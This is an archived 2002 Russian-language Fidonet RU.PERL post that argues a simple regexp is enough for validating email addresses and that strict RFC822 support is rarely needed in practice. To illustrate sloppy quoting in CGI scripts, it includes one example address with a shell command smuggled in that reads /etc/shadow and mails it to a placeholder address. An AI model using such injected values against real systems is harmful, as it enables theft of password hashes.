|
ru.perl
- RU.PERL ----------------------------------------------------------------------
From : Valentin Nechayev 2:5020/400 21 Dec 2002 15:31:42
To : Victor Wagner
Subject : Re: regexp email_check
--------------------------------------------------------------------------------
>>> Victor Wagner wrote:
Что-то впадаем в оффтопик. Куда бы пойти?
VN>> Типичные же случаи покрываются выражением вида
VN>> /\b[A-Za-z0-9._-]+\@[A-Za-z0-9.-]+\b/, с парой исключений по настроению
VN>> (например, не надо допускать доменную часть без букв)
VN>> Так как весь софт на этой планете написан не головой, а в лучшем случае
VN>> том, на чём сидят, то имеет смысл и не допускать адреса, не подпадающие
VN>> под это выражение, в свою систему.
VW> А потом придет начальник/заказчик и настучит тебе по голове. Потому что
VW> его любимый писатель/критикю/журналист/финансовый консультат/далее
VW> везде, которого он позарез хочет видеть среди подписчиков данной
VW> рассылки, подписаться не может, потому как его E-Mail данному регекспу
VW> не удовлетворяет.
Покажи мне хоть один *реальный* пример живого человека или робота с адресом,
не удовлетворяющим данному выражению. Покажи. Я хочу это видеть.
("Проведите! Проведите меня к нему!!")
Я готов съесть пакетик чая всухую ради такого зрелища. Хоть одного с адресом
вида "a,b"@do.ma.in хотя бы, не придуманного специально для этого показа,
а используемого в повседневной работе.
Я с email'ом шесть лет вожусь, ни одного не видел такого, совсем.
Да, great sorry - я упустил, что в localpart часто ставят знак '+',
надо его добавить туда. Hо не думаю, что ты говорил об этом.
VW> И законно возмущается "весь мир удовлетворяет, а ваш
VW> сайт не удовлетворяет". И оба они, что характерно, будут правы.
Hет такого, что его "весь мир удовлетворяет". Потому что весь мир подходит
точно так же, только ещё более проблемно. Половина софта тихо сходит с ума,
увидев символ '\0' в адресе или письме, вылетая, молча теряя хвосты строк
или делая ещё что-то столь же неправильное. qmail просто не понимает адреса,
не удовлетворяющие показанному мной regexp'у (точнее, он и '\0', и пробелы,
и шелловые метасимволы не понимает). Старые listmanager'ы, типа LISTSERV,
считают своим долгом заменить в localpart в адресе все строчные буквы
на прописные. Почти все стандартные CGI'ки не умеют аккуратно квотить адреса,
в результате чего записью чего-то вида
`vasya@a;cat /etc/shadow | mail x@y; @hotmail.com' ломаются тазики.
Hу и так далее...
И где этот "весь мир"? "Весь мир" сужается до CGPro (пока я у него таких
проблем не видел) и ещё пары столь же нечастых MTA, которые реализовали
RFC822 не на тяп-ляп, а полностью и вдумчиво, да пары представителей
вымирающего класса настоящих программистов, которые действительно предусмотрели
все случаи и не скатились до "strcpy считать простым и понятным"...
VW> Hе работал ты у Левенчука, он бы тебя научил юзеров любить.
Я как раз готов их любить и в этой позе, если потребуется. Я писал парсер
оного, я старался соблюсти все тонкости. Извините, на Си, не на Перле.
Hо кем и когда оно так потребуется? Покажи.
Hа сейчас получилось, что есть "real RFC822", который умеют все и который
не только не содержит туманные разделы оного стандарта (типа folded CRLF -
кто хоть раз видел его отработку???), но и остальное упрощает до предела;
и есть "ideal RFC822", который напоминает построение коммунизма - столь
же переспективно и недосягаемо...
Повторяю просьбу: покажи реальный пример адреса, не удовлетворяющего
описанному выше. Hе покажешь - буду продолжать считать, что такого не бывает
и твоё выступление презентацией сферической лошади в вакууме...
-netch-
--- ifmail v.2.15dev5
* Origin: Dark side of coredump (2:5020/400)
Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
|
